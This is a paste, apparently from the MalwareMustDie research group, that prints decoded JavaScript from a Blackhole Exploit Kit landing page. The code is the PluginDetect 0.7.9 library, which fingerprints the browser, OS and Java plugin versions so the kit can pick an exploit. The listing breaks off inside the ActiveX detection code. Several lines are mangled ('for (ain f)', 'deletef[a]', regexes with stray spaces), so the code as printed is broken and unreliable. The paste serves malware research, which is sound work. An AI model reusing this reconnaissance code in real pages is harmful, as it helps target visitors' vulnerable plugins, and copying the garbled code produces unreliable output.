Advertisement
MalwareMustDie

BHEK "/closest/" PluginDetect 0.7.9 decoded:

Feb 6th, 2013
1,378
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 53.42 KB | None | 0 0
  1. // MalwareMustDie! @unixfreaxjp /malware]$ date
  2. // Wed Feb 6 19:57:29 JST 2013
  3. // Mission: Wacking Blackhole "/closest/" version with ZeroAccess payload
  4. // BHEK "/closest/" PluginDetect 0.7.9 decoded:
  5.  
  6. var PluginDetect = {
  7. version : "0.7.9", name : "PluginDetect", handler : function (c, b, a){
  8. return function (){
  9. c(b, a)
  10. }
  11. }
  12. , openTag : "<", isDefined : function (b){
  13. return typeof b != "undefined"
  14. }
  15. , isArray : function (b){
  16. return (/array/i).test(Object.prototype.toString.call(b))
  17. }
  18. , isFunc : function (b){
  19. return typeof b == "function"
  20. }
  21. , isString : function (b){
  22. return typeof b == "string"
  23. }
  24. , isNum : function (b){
  25. return typeof b == "number"
  26. }
  27. , isStrNum : function (b){
  28. return (typeof b == "string" && (/\d/).test(b))
  29. }
  30. , getNumRegx :/ [ \ d][ \ d \ . \ _ ,- ] */, splitNumRegx :/ [ \ . \ _ ,- ] / g, getNum :
  31. function (b, c){
  32. var d = this , a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).
  33. exec(b) : null;
  34. return a ? a[0] : null
  35. }
  36. , compareNums : function (h, f, d){
  37. var e = this , c, b, a, g = parseInt;
  38. if (e.isStrNum(h) && e.isStrNum(f)){
  39. if (e.isDefined(d) && d.compareNums){
  40. return d.compareNums(h, f)
  41. }
  42. c = h.split(e.splitNumRegx);
  43. b = f.split(e.splitNumRegx);
  44. for (a = 0; a < Math.min(c.length, b.length);
  45. a ++ ){
  46. if (g(c[a], 10) > g(b[a], 10)){
  47. return 1
  48. }
  49. if (g(c[a], 10) < g(b[a], 10)){
  50. return - 1
  51. }
  52. }
  53. }
  54. return 0
  55. }
  56. , formatNum : function (b, c){
  57. var d = this , a, e;
  58. if (!d.isStrNum(b)){
  59. return null
  60. }
  61. if (!d.isNum(c)){
  62. c = 4
  63. }
  64. c--;
  65. e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]);
  66. for (a = 0; a < 4; a ++ ){
  67. if (/^(0+)(.+)$/.test(e[a])){
  68. e[a] = RegExp.$2
  69. }
  70. if (a > c ||! (/\d/).test(e[a])){
  71. e[a] = "0"
  72. }
  73. }
  74. return e.slice(0, 4).join(",")
  75. }
  76. , $$hasMimeType : function (a){
  77. return function (c){
  78. if (!a.isIE && c){
  79. var f, e, b, d = a.isArray(c) ? c : (a.isString(c) ? [c] : []);
  80. for (b = 0; b < d.length; b ++ ){
  81. if (a.isString(d[b]) &&/ [ ^\ s] / .test(d[b])){
  82. f = navigator.mimeTypes[d[b]];
  83. e = f ? f.enabledPlugin : 0;
  84. if (e && (e.name || e.description)){
  85. return f
  86. }
  87. }
  88. }
  89. }
  90. return null
  91. }
  92. }
  93. , findNavPlugin : function (l, e, c){
  94. var j = this , h = new RegExp(l, "i"), d = (!j.isDefined(e) || e) ?/\ d /: 0, k = c ?
  95. new RegExp(c, "i") : 0, a = navigator.plugins, g = "", f, b, m;
  96. for (f = 0; f < a.length; f ++ ){
  97. m = a[f].description || g;
  98. b = a[f].name || g;
  99. if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.
  100. test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))){
  101. if (!k ||! (k.test(m) || k.test(b))){
  102. return a[f]
  103. }
  104. }
  105. }
  106. return null
  107. }
  108. , getMimeEnabledPlugin : function (k, m, c){
  109. var e = this , f, b = new RegExp(m, "i"), h = "", g = c ? new RegExp(c, "i") : 0, a, l
  110. , d, j = e.isString(k) ? [k] : k;
  111. for (d = 0; d < j.length; d ++ ){
  112. if ((f = e.hasMimeType(j[d])) && (f = f.enabledPlugin)){
  113. l = f.description || h;
  114. a = f.name || h;
  115. if (b.test(l) || b.test(a)){
  116. if (!g ||! (g.test(l) || g.test(a))){
  117. return f
  118. }
  119. }
  120. }
  121. }
  122. return 0
  123. }
  124. , getPluginFileVersion : function (f, b){
  125. var h = this , e, d, g, a, c =- 1;
  126. if (h.OS > 2 ||! f ||! f.version ||! (e = h.getNum(f.version))){
  127. return b
  128. }
  129. if (!b){
  130. return e
  131. }
  132. e = h.formatNum(e);
  133. b = h.formatNum(b);
  134. d = b.split(h.splitNumRegx);
  135. g = e.split(h.splitNumRegx);
  136. for (a = 0; a < d.length; a ++ ){
  137. if ( - 1 < c && c < a &&! (d[a] == "0")){
  138. return b
  139. }
  140. if (g[a] != d[a]){
  141. if (c ==- 1){
  142. c = a
  143. }
  144. if (d[a] != "0"){
  145. return b
  146. }
  147. }
  148. }
  149. return e
  150. }
  151. , AXO : window.ActiveXObject, getAXO : function (a){
  152. var f = null, d, b = this , c = {
  153. }
  154. ;
  155. try {
  156. f = new b.AXO(a)
  157. }
  158. catch (d){
  159. }
  160. return f
  161. }
  162. , convertFuncs : function (f){
  163. var a, g, d, b =/^ [ \ $][ \ $] /, c = this ;
  164. for (ain f){
  165. if (b.test(a)){
  166. try {
  167. g = a.slice(2);
  168. if (g.length > 0 &&! f[g]){
  169. f[g] = f[a](f);
  170. deletef[a]
  171. }
  172. }
  173. catch (d){
  174. }
  175. }
  176. }
  177. }
  178. , initObj : function (e, b, d){
  179. var a, c;
  180. if (e){
  181. if (e[b[0]] == 1 || d){
  182. for (a = 0; a < b.length; a = a + 2){
  183. e[b[a]] = b[a + 1]
  184. }
  185. }
  186. for (ain e){
  187. c = e[a];
  188. if (c && c[b[0]] == 1){
  189. this .initObj(c, b)
  190. }
  191. }
  192. }
  193. }
  194. , initScript : function (){
  195. var d = this , a = navigator, h, i = document, l = a.userAgent || "", j = a.vendor ||
  196. "", b = a.platform || "", k = a.product || "";
  197. d.initObj(d, ["$", d]);
  198. for (hin d.Plugins){
  199. if (d.Plugins[h]){
  200. d.initObj(d.Plugins[h], ["$", d, "$$", d.Plugins[h]], 1)
  201. }
  202. }
  203. d.convertFuncs(d);
  204. d.OS = 100;
  205. if (b){
  206. var g = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2,
  207. "iPad", 21.3, "Win." + "*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\s*PC", 22.3, "",
  208. 100];
  209. for (h = g.length - 2; h >= 0; h = h - 2){
  210. if (g[h] && new RegExp(g[h], "i").test(b)){
  211. d.OS = g[h + 1];
  212. break
  213. }
  214. }
  215. }
  216. ;
  217. d.head = i.getElementsByTagName("head")[0] || i.getElementsByTagName("body")[0] || i.
  218. body || null;
  219. d.isIE = new Function("return/*@cc_on!@*/!1")();
  220. d.verIE = d.isIE && (/MSIE\s*(\d+\.?\d*)/i).test(l) ? parseFloat(RegExp.$1, 10) : null
  221. ;
  222. d.ActiveXEnabled = false;
  223. if (d.isIE){
  224. var h, m = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM",
  225. "ShockwaveFlash.ShockwaveFlash", "TDCCtl.TDCCtl", "Shell.UIHelper",
  226. "Scripting.Dictionary", "wmplayer.ocx"];
  227. for (h = 0; h < m.length; h ++ ){
  228. if (d.getAXO(m[h])){
  229. d.ActiveXEnabled = true;
  230. break
  231. }
  232. }
  233. }
  234. ;
  235. d.isGecko = (/Gecko\s*\/\s*\d/i).test(l) && (/Gecko/i).test(k);
  236. d.verGecko = d.isGecko ? d.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(l) ? RegExp.$1 :
  237. "0.9") : null;
  238. d.isChrome = (/Chrome\s*\/\s*(\d[\d\.]*)/i).test(l);
  239. d.verChrome = d.isChrome ? d.formatNum(RegExp.$1) : null;
  240. d.isSafari = ((/Apple/i).test(j) || (!j &&! d.isChrome)) && (
  241. /Safari\s*\/\s*(\d[\d\.]*)/i).test(l);
  242. d.verSafari = d.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(l) ? d.formatNum(
  243. RegExp.$1) : null;
  244. d.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(l);
  245. d.verOpera = d.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(l) || 1) ? parseFloat(
  246. RegExp.$1, 10) : null;
  247. d.addWinEvent("load", d.handler(d.runWLfuncs, d))
  248. }
  249. , init : function (d){
  250. var c = this , b, d, a = {
  251. status :- 3, plugin : 0
  252. }
  253. ;
  254. if (!c.isString(d)){
  255. return a
  256. }
  257. if (d.length == 1){
  258. c.getVersionDelimiter = d;
  259. return a
  260. }
  261. d = d.toLowerCase().replace(/\s/g, "");
  262. b = c.Plugins[d];
  263. if (!b ||! b.getVersion){
  264. return a
  265. }
  266. a.plugin = b;
  267. if (!c.isDefined(b.installed)){
  268. b.installed = null;
  269. b.version = null;
  270. b.version0 = null;
  271. b.getVersionDone = null;
  272. b.pluginName = d
  273. }
  274. c.garbage = false;
  275. if (c.isIE &&! c.ActiveXEnabled && d !== "Ja" + "va"){
  276. a.status =- 2;
  277. return a
  278. }
  279. a.status = 1;
  280. return a
  281. }
  282. , fPush : function (b, a){
  283. var c = this ;
  284. if (c.isArray(a) && (c.isFunc(b) || (c.isArray(b) && c.isFunc(b[0]) && 0 < b.length
  285. ))){
  286. a.push(b)
  287. }
  288. }
  289. , callArray : function (b){
  290. var c = this , a;
  291. if (c.isArray(b)){
  292. for (a = 0; a < b.length; a ++ ){
  293. if (b[a] === null){
  294. return
  295. }
  296. c.call(b[a]);
  297. b[a] = null
  298. }
  299. }
  300. }
  301. , call : function (c){
  302. var b = this , a = b.isArray(c) ? c.length :- 1;
  303. if (0 < a && b.isFunc(c[0])){
  304. c[0](b, a > 1 ? c[1] : 0, a > 2 ? c[2] : 0, a > 3 ? c[3] : 0)
  305. }
  306. else {
  307. if (b.isFunc(c)){
  308. c(b)
  309. }
  310. }
  311. }
  312. , $$isMinVersion : function (a){
  313. return function (h, g, d, c){
  314. var e = a.init(h), f, b =- 1, j = {
  315. }
  316. ;
  317. if (e.status < 0){
  318. return e.status
  319. }
  320. f = e.plugin;
  321. g = a.formatNum(a.isNum(g) ? g.toString() : (a.isStrNum(g) ? a.getNum(g) : "0"));
  322. if (f.getVersionDone != 1){
  323. f.getVersion(g, d, c);
  324. if (f.getVersionDone === null){
  325. f.getVersionDone = 1
  326. }
  327. }
  328. a.cleanup();
  329. if (f.installed !== null){
  330. b = f.installed <= 0.5 ? f.installed : (f.installed == 0.7 ? 1 : (f.version ===
  331. null ? 0 : (a.compareNums(f.version, g, f) >= 0 ? 1 :- 0.1)))
  332. }
  333. ;
  334. return b
  335. }
  336. }
  337. , getVersionDelimiter : ",", $$getVersion : function (a){
  338. return function (g, d, c){
  339. var e = a.init(g), f, b, h = {
  340. }
  341. ;
  342. if (e.status < 0){
  343. return null
  344. }
  345. ;
  346. f = e.plugin;
  347. if (f.getVersionDone != 1){
  348. f.getVersion(null, d, c);
  349. if (f.getVersionDone === null){
  350. f.getVersionDone = 1
  351. }
  352. }
  353. a.cleanup();
  354. b = (f.version || f.version0);
  355. b = b ? b.replace(a.splitNumRegx, a.getVersionDelimiter) : b;
  356. return b
  357. }
  358. }
  359. , cleanup : function (){
  360. var a = this ;
  361. if (a.garbage && a.isDefined(window.CollectGarbage)){
  362. window.CollectGarbage()
  363. }
  364. }
  365. , addWinEvent : function (d, c){
  366. var e = this , a = window, b;
  367. if (e.isFunc(c)){
  368. if (a.addEventListener){
  369. a.addEventListener(d, c, false)
  370. }
  371. else {
  372. if (a.attachEvent){
  373. a.attachEvent("on" + d, c)
  374. }
  375. else {
  376. b = a["on" + d];
  377. a["on" + d] = e.winHandler(c, b)
  378. }
  379. }
  380. }
  381. }
  382. , winHandler : function (d, c){
  383. return function (){
  384. d();
  385. if (typeof c == "function"){
  386. c()
  387. }
  388. }
  389. }
  390. , WLfuncs0 : [], WLfuncs : [], runWLfuncs : function (a){
  391. var b = {
  392. }
  393. ;
  394. a.winLoaded = true;
  395. a.callArray(a.WLfuncs0);
  396. a.callArray(a.WLfuncs);
  397. if (a.onDoneEmptyDiv){
  398. a.onDoneEmptyDiv()
  399. }
  400. }
  401. , winLoaded : false, $$onWindowLoaded : function (a){
  402. return function (b){
  403. if (a.winLoaded){
  404. a.call(b)
  405. }
  406. else {
  407. a.fPush(b, a.WLfuncs)
  408. }
  409. }
  410. }
  411. , $$onDetectionDone : function (a){
  412. return function (h, g, c, b){
  413. var d = a.init(h), k, e, j = {
  414. }
  415. ;
  416. if (d.status ==- 3){
  417. return - 1
  418. }
  419. e = d.plugin;
  420. if (!a.isArray(e.funcs)){
  421. e.funcs = []
  422. }
  423. if (e.getVersionDone != 1){
  424. k = a.isMinVersion ? a.isMinVersion(h, "0", c, b) : a.getVersion(h, c, b)
  425. }
  426. if (e.installed !=- 0.5 && e.installed != 0.5){
  427. a.call(g);
  428. return 1
  429. }
  430. if (e.NOTF){
  431. a.fPush(g, e.funcs);
  432. return 0
  433. }
  434. return 1
  435. }
  436. }
  437. , div : null, divID : "plugindetect", divWidth : 50, pluginSize : 1, emptyDiv : function
  438. (){
  439. var d = this , b, h, c, a, f, g;
  440. if (d.div && d.div.childNodes){
  441. for (b = d.div.childNodes.length - 1; b >= 0; b -- ){
  442. c = d.div.childNodes[b];
  443. if (c && c.childNodes){
  444. for (h = c.childNodes.length - 1; h >= 0; h -- ){
  445. g = c.childNodes[h];
  446. try {
  447. c.removeChild(g)
  448. }
  449. catch (f){
  450. }
  451. }
  452. }
  453. if (c){
  454. try {
  455. d.div.removeChild(c)
  456. }
  457. catch (f){
  458. }
  459. }
  460. }
  461. }
  462. if (!d.div){
  463. a = document.getElementById(d.divID);
  464. if (a){
  465. d.div = a
  466. }
  467. }
  468. if (d.div && d.div.parentNode){
  469. try {
  470. d.div.parentNode.removeChild(d.div)
  471. }
  472. catch (f){
  473. }
  474. d.div = null
  475. }
  476. }
  477. , DONEfuncs : [], onDoneEmptyDiv : function (){
  478. var c = this , a, b;
  479. if (!c.winLoaded){
  480. return
  481. }
  482. if (c.WLfuncs && c.WLfuncs.length && c.WLfuncs[c.WLfuncs.length - 1] !== null){
  483. return
  484. }
  485. for (ain c){
  486. b = c[a];
  487. if (b && b.funcs){
  488. if (b.OTF == 3){
  489. return
  490. }
  491. if (b.funcs.length && b.funcs[b.funcs.length - 1] !== null){
  492. return
  493. }
  494. }
  495. }
  496. for (a = 0; a < c.DONEfuncs.length; a ++ ){
  497. c.callArray(c.DONEfuncs)
  498. }
  499. c.emptyDiv()
  500. }
  501. , getWidth : function (c){
  502. if (c){
  503. var a = c.scrollWidth || c.offsetWidth, b = this ;
  504. if (b.isNum(a)){
  505. return a
  506. }
  507. }
  508. return - 1
  509. }
  510. , getTagStatus : function (m, g, a, b){
  511. var c = this , f, k = m.span, l = c.getWidth(k), h = a.span, j = c.getWidth(h), d = g.
  512. span, i = c.getWidth(d);
  513. if (!k ||! h ||! d ||! c.getDOMobj(m)){
  514. return - 2
  515. }
  516. if (j < i || 0 > l || 0 > j || 0 > i || i <= c.pluginSize || c.pluginSize < 1){
  517. return 0
  518. }
  519. if (l >= i){
  520. return - 1
  521. }
  522. try {
  523. if (l == c.pluginSize && (!c.isIE || c.getDOMobj(m).readyState == 4)){
  524. if (!m.winLoaded && c.winLoaded){
  525. return 1
  526. }
  527. if (m.winLoaded && c.isNum(b)){
  528. if (!c.isNum(m.count)){
  529. m.count = b
  530. }
  531. if (b - m.count >= 10){
  532. return 1
  533. }
  534. }
  535. }
  536. }
  537. catch (f){
  538. }
  539. return 0
  540. }
  541. , getDOMobj : function (g, a){
  542. var f, d = this , c = g ? g.span : 0, b = c && c.firstChild ? 1 : 0;
  543. try {
  544. if (b && a){
  545. d.div.focus()
  546. }
  547. }
  548. catch (f){
  549. }
  550. return b ? c.firstChild : null
  551. }
  552. , setStyle : function (b, g){
  553. var f = b.style, a, d, c = this ;
  554. if (f && g){
  555. for (a = 0; a < g.length; a = a + 2){
  556. try {
  557. f[g[a]] = g[a + 1]
  558. }
  559. catch (d){
  560. }
  561. }
  562. }
  563. }
  564. , insertDivInBody : function (i, g){
  565. var f, c = this , h = "pd33993399", b = null, d = g ? window.top.document : window.
  566. document, a = d.getElementsByTagName("body")[0] || d.body;
  567. if (!a){
  568. try {
  569. d.write('<div id="' + h + '">.' + c.openTag + "/div>");
  570. b = d.getElementById(h)
  571. }
  572. catch (f){
  573. }
  574. }
  575. a = d.getElementsByTagName("body")[0] || d.body;
  576. if (a){
  577. a.insertBefore(i, a.firstChild);
  578. if (b){
  579. a.removeChild(b)
  580. }
  581. }
  582. }
  583. , insertHTML : function (f, b, g, a, k){
  584. var l, m = document, j = this , p, o = m.createElement("span"), n, i;
  585. var c = ["outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin",
  586. "0px", "visibility", "visible"];
  587. var h =
  588. "outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;";
  589. if (!j.isDefined(a)){
  590. a = ""
  591. }
  592. if (j.isString(f) && (/[^\s]/).test(f)){
  593. f = f.toLowerCase().replace(/\s/g, "");
  594. p = j.openTag + f + ' width="' + j.pluginSize + '" height="' + j.pluginSize + '" ';
  595. p += 'style="' + h + 'display:inline;" ';
  596. for (n = 0; n < b.length; n = n + 2){
  597. if (/[^\s]/.test(b[n + 1])){
  598. p += b[n] + '="' + b[n + 1] + '" '
  599. }
  600. }
  601. p += ">";
  602. for (n = 0; n < g.length; n = n + 2){
  603. if (/[^\s]/.test(g[n + 1])){
  604. p += j.openTag + 'param name="' + g[n] + '" value="' + g[n + 1] + '" />'
  605. }
  606. }
  607. p += a + j.openTag + "/" + f + ">"
  608. }
  609. else {
  610. p = a
  611. }
  612. if (!j.div){
  613. i = m.getElementById(j.divID);
  614. if (i){
  615. j.div = i
  616. }
  617. else {
  618. j.div = m.createElement("div");
  619. j.div.id = j.divID
  620. }
  621. j.setStyle(j.div, c.concat(["width", j.divWidth + "px", "height", (j.pluginSize + 3)
  622. + "px", "fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) +
  623. "px", "verticalAlign", "baseline", "display", "block"]));
  624. if (!i){
  625. j.setStyle(j.div, ["position", "absolute", "right", "0px", "top", "0px"]);
  626. j.insertDivInBody(j.div)
  627. }
  628. }
  629. if (j.div && j.div.parentNode){
  630. j.setStyle(o, c.concat(["fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.
  631. pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "inline"]));
  632. try {
  633. o.innerHTML = p
  634. }
  635. catch (l){
  636. }
  637. ;
  638. try {
  639. j.div.appendChild(o)
  640. }
  641. catch (l){
  642. }
  643. ;
  644. return {
  645. span : o, winLoaded : j.winLoaded, tagName : f, outerHTML : p
  646. }
  647. }
  648. return {
  649. span : null, winLoaded : j.winLoaded, tagName : "", outerHTML : p
  650. }
  651. }
  652. , file : {
  653. $ : 1, any : "fileStorageAny999", valid : "fileStorageValid999", save : function (d, f
  654. , c){
  655. var b = this , e = b.$, a;
  656. if (d && e.isDefined(c)){
  657. if (!d[b.any]){
  658. d[b.any] = []
  659. }
  660. if (!d[b.valid]){
  661. d[b.valid] = []
  662. }
  663. d[b.any].push(c);
  664. a = b.split(f, c);
  665. if (a){
  666. d[b.valid].push(a)
  667. }
  668. }
  669. }
  670. , getValidLength : function (a){
  671. return a && a[this .valid] ? a[this .valid].length : 0
  672. }
  673. , getAnyLength : function (a){
  674. return a && a[this .any] ? a[this .any].length : 0
  675. }
  676. , getValid : function (c, a){
  677. var b = this ;
  678. return c && c[b.valid] ? b.get(c[b.valid], a) : null
  679. }
  680. , getAny : function (c, a){
  681. var b = this ;
  682. return c && c[b.any] ? b.get(c[b.any], a) : null
  683. }
  684. , get : function (d, a){
  685. var c = d.length - 1, b = this .$.isNum(a) ? a : c;
  686. return (0 > b || b > c) ? null : d[b]
  687. }
  688. , split : function (g, c){
  689. var b = this , e = b.$, f = null, a, d;
  690. g = g ? g.replace(".", "\.") : "";
  691. d = new RegExp("^(.*[^\/])(" + g + "\s*)$");
  692. if (e.isString(c) && d.test(c)){
  693. a = (RegExp.$1).split("/");
  694. f = {
  695. name : a[a.length - 1], ext : RegExp.$2, full : c
  696. }
  697. ;
  698. a[a.length - 1] = "";
  699. f.path = a.join("/")
  700. }
  701. return f
  702. }
  703. , z : 0
  704. }
  705. , Plugins : {
  706. java : {
  707. mimeType : ["application/x-java-applet", "application/x-java-vm",
  708. "application/x-java-bean"], classID : "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",
  709. navigator : {
  710. a : window.navigator.javaEnabled(), javaEnabled : function (){
  711. return this .a
  712. }
  713. , mimeObj : 0, pluginObj : 0
  714. }
  715. , OTF : null, minIEver : 7, debug : 0, debugEnable : function (){
  716. var a = this , b = a.$;
  717. a.debug = 1
  718. }
  719. , isDisabled : {
  720. $ : 1, DTK : function (){
  721. var a = this , c = a.$, b = a.$$;
  722. if ((c.isGecko && c.compareNums(c.verGecko, c.formatNum("1.6")) <= 0) || (c.
  723. isSafari && c.OS == 1 && (!c.verSafari || 0 > c.compareNums(c.verSafari,
  724. "5,1,0,0"))) || c.isChrome || (c.isIE &&! c.ActiveXEnabled)){
  725. return 1
  726. }
  727. return 0
  728. }
  729. , AXO : function (){
  730. var a = this , c = a.$, b = a.$$;
  731. return (!c.isIE ||! c.ActiveXEnabled || (!b.debug && b.DTK.query().status !== 0
  732. ))
  733. }
  734. , navMime : function (){
  735. var b = this , d = b.$, c = b.$$, a = c.navigator;
  736. if (d.isIE ||! a.mimeObj ||! a.pluginObj){
  737. return 1
  738. }
  739. return 0
  740. }
  741. , navPlugin : function (){
  742. var b = this , d = b.$, c = b.$$, a = c.navigator;
  743. if (d.isIE ||! a.mimeObj ||! a.pluginObj){
  744. return 1
  745. }
  746. return 0
  747. }
  748. , windowDotJava : function (){
  749. var a = this , c = a.$, b = a.$$;
  750. if (!window.java){
  751. return 1
  752. }
  753. if (c.OS == 2 && c.verOpera > 8 && c.verOpera && c.verOpera < (9.3 - 0.1)){
  754. return 1
  755. }
  756. return 0
  757. }
  758. , allApplets : function (){
  759. var b = this , d = b.$, c = b.$$, a = c.navigator;
  760. if (d.OS >= 20){
  761. return 0
  762. }
  763. if (d.verOpera && d.verOpera < 11 &&! a.javaEnabled() &&! c.lang.System.
  764. getProperty()[0]){
  765. return 1
  766. }
  767. if ((d.verGecko && 0 > d.compareNums(d.verGecko, d.formatNum("2"))) &&! a.
  768. mimeObj &&! c.lang.System.getProperty()[0]){
  769. return 1
  770. }
  771. return 0
  772. }
  773. , AppletTag : function (){
  774. var b = this , d = b.$, c = b.$$, a = c.navigator;
  775. return d.isIE ?! a.javaEnabled() : 0
  776. }
  777. , ObjectTag : function (){
  778. var a = this , c = a.$, b = a.$$;
  779. return c.isIE ?! c.ActiveXEnabled : 0
  780. }
  781. , z : 0
  782. }
  783. , getVerifyTagsDefault : function (){
  784. var a = this , c = a.$, b = [1, 0, 1];
  785. if (c.OS >= 20){
  786. return b
  787. }
  788. if ((c.isIE && (c.verIE < 9 ||! c.ActiveXEnabled)) || (c.verGecko && 0 > c.
  789. compareNums(c.verGecko, c.formatNum("2"))) || (c.isSafari && (!c.verSafari || 0 >
  790. c.compareNums(c.verSafari, c.formatNum("4")))) || (c.verOpera && c.verOpera < 10
  791. )){
  792. b = [1, 1, 1]
  793. }
  794. return b
  795. }
  796. , getVersion : function (j, g, i){
  797. var b = this , d = b.$, e, a = b.applet, h = b.verify, k = b.navigator, f = null,
  798. l = null, c = null;
  799. if (b.getVersionDone === null){
  800. b.OTF = 0;
  801. k.mimeObj = d.hasMimeType(b.mimeType);
  802. if (k.mimeObj){
  803. k.pluginObj = k.mimeObj.enabledPlugin
  804. }
  805. if (h){
  806. h.begin()
  807. }
  808. }
  809. a.setVerifyTagsArray(i);
  810. d.file.save(b, ".jar", g);
  811. if (b.getVersionDone === 0){
  812. if (a.should_Insert_Query_Any()){
  813. e = a.insert_Query_Any();
  814. b.setPluginStatus(e[0], e[1], f)
  815. }
  816. return
  817. }
  818. if ((!f || b.debug) && b.DTK.query().version){
  819. f = b.DTK.version
  820. }
  821. if ((!f || b.debug) && b.navMime.query().version){
  822. f = b.navMime.version
  823. }
  824. if ((!f || b.debug) && b.navPlugin.query().version){
  825. f = b.navPlugin.version
  826. }
  827. if ((!f || b.debug) && b.AXO.query().version){
  828. f = b.AXO.version
  829. }
  830. if (b.nonAppletDetectionOk(f)){
  831. c = f
  832. }
  833. if (!c || b.debug || a.VerifyTagsHas(2.2) || a.VerifyTagsHas(2.5)){
  834. e = b.lang.System.getProperty();
  835. if (e[0]){
  836. f = e[0];
  837. c = e[0];
  838. l = e[1]
  839. }
  840. }
  841. b.setPluginStatus(c, l, f);
  842. if (a.should_Insert_Query_Any()){
  843. e = a.insert_Query_Any();
  844. if (e[0]){
  845. c = e[0];
  846. l = e[1]
  847. }
  848. }
  849. b.setPluginStatus(c, l, f)
  850. }
  851. , nonAppletDetectionOk : function (b){
  852. var d = this , e = d.$, a = d.navigator, c = 1;
  853. if (!b || (!a.javaEnabled() &&! d.lang.System.getPropertyHas(b)) || (!e.isIE &&! a
  854. .mimeObj &&! d.lang.System.getPropertyHas(b)) || (e.isIE &&! e.ActiveXEnabled)){
  855. c = 0
  856. }
  857. else {
  858. if (e.OS >= 20){
  859. }
  860. else {
  861. if (d.info && 0 > d.info.getPlugin2Status() && d.info.BrowserRequiresPlugin2
  862. ()){
  863. c = 0
  864. }
  865. }
  866. }
  867. return c
  868. }
  869. , setPluginStatus : function (d, f, a){
  870. var c = this , e = c.$, b;
  871. a = a || c.version0;
  872. if (0 < c.OTF){
  873. d = d || c.lang.System.getProperty()[0]
  874. }
  875. if (c.OTF < 3){
  876. b = d ? 1 : (a ?- 0.2 :- 1);
  877. if (c.installed === null || b > c.installed){
  878. c.installed = b
  879. }
  880. }
  881. if (c.OTF == 2 && c.NOTF &&! c.applet.getResult()[0] &&! c.lang.System.getProperty
  882. ()[0]){
  883. c.installed = a ?- 0.2 :- 1
  884. }
  885. ;
  886. if (c.OTF == 3 && c.installed !=- 0.5 && c.installed != 0.5){
  887. c.installed = (c.NOTF.isJavaActive(1) == 1 || c.lang.System.getProperty()[0]) ?
  888. 0.5 :- 0.5
  889. }
  890. if (c.OTF == 4 && (c.installed ==- 0.5 || c.installed == 0.5)){
  891. if (d){
  892. c.installed = 1
  893. }
  894. else {
  895. if (c.NOTF.isJavaActive(1) == 1){
  896. if (a){
  897. c.installed = 1;
  898. d = a
  899. }
  900. else {
  901. c.installed = 0
  902. }
  903. }
  904. else {
  905. if (a){
  906. c.installed =- 0.2
  907. }
  908. else {
  909. c.installed =- 1
  910. }
  911. }
  912. }
  913. }
  914. ;
  915. if (a){
  916. c.version0 = e.formatNum(e.getNum(a))
  917. }
  918. if (d){
  919. c.version = e.formatNum(e.getNum(d))
  920. }
  921. if (f && e.isString(f)){
  922. c.vendor = f
  923. }
  924. if (!c.vendor){
  925. c.vendor = ""
  926. }
  927. if (c.verify && c.verify.isEnabled()){
  928. c.getVersionDone = 0
  929. }
  930. else {
  931. if (c.getVersionDone != 1){
  932. if (c.OTF < 2){
  933. c.getVersionDone = 0
  934. }
  935. else {
  936. c.getVersionDone = c.applet.can_Insert_Query_Any() ? 0 : 1
  937. }
  938. }
  939. }
  940. }
  941. , DTK : {
  942. $ : 1, hasRun : 0, status : null, VERSIONS : [], version : "", HTML : null,
  943. Plugin2Status : null, classID : ["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA",
  944. "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"], mimeType : [
  945. "application/java-deployment-toolkit",
  946. "application/npruntime-scriptable-plugin;DeploymentToolkit"], disabled : function
  947. (){
  948. return this .$$.isDisabled.DTK()
  949. }
  950. , query : function (){
  951. var k = this , g = k.$, d = k.$$, j, l, h, m = {
  952. }
  953. , f = {
  954. }
  955. , a, c = null, i = null, b = (k.hasRun || k.disabled());
  956. k.hasRun = 1;
  957. if (b){
  958. return k
  959. }
  960. k.status = 0;
  961. if (g.isIE && 6 <= g.verIE){
  962. for (l = 0; l < k.classID.length; l ++ ){
  963. k.HTML = g.insertHTML("object", ["classid", k.classID[l]], []);
  964. c = g.getDOMobj(k.HTML);
  965. try {
  966. if (c && c.jvms){
  967. break
  968. }
  969. }
  970. catch (j){
  971. }
  972. }
  973. }
  974. else {
  975. if (!g.isIE && (h = g.hasMimeType(k.mimeType)) && h.type){
  976. k.HTML = g.insertHTML("object", ["type", h.type], []);
  977. c = g.getDOMobj(k.HTML)
  978. }
  979. }
  980. if (c){
  981. try {
  982. a = c.jvms;
  983. if (a){
  984. i = a.getLength();
  985. if (g.isNum(i)){
  986. k.status = 0 < i ? 1 :- 1;
  987. for (l = 0; l < i; l ++ ){
  988. h = g.getNum(a.get(i - 1 - l).version);
  989. if (h){
  990. k.VERSIONS.push(h);
  991. f["a" + g.formatNum(h)] = 1
  992. }
  993. }
  994. }
  995. }
  996. }
  997. catch (j){
  998. }
  999. }
  1000. h = 0;
  1001. for (lin f){
  1002. h ++
  1003. }
  1004. if (h && h !== k.VERSIONS.length){
  1005. k.VERSIONS = []
  1006. }
  1007. if (k.VERSIONS.length){
  1008. k.version = g.formatNum(k.VERSIONS[0])
  1009. }
  1010. ;
  1011. return k
  1012. }
  1013. }
  1014. , AXO : {
  1015. $ : 1, hasRun : 0, VERSIONS : [], version : "", disabled : function (){
  1016. return this .$$.isDisabled.AXO()
  1017. }
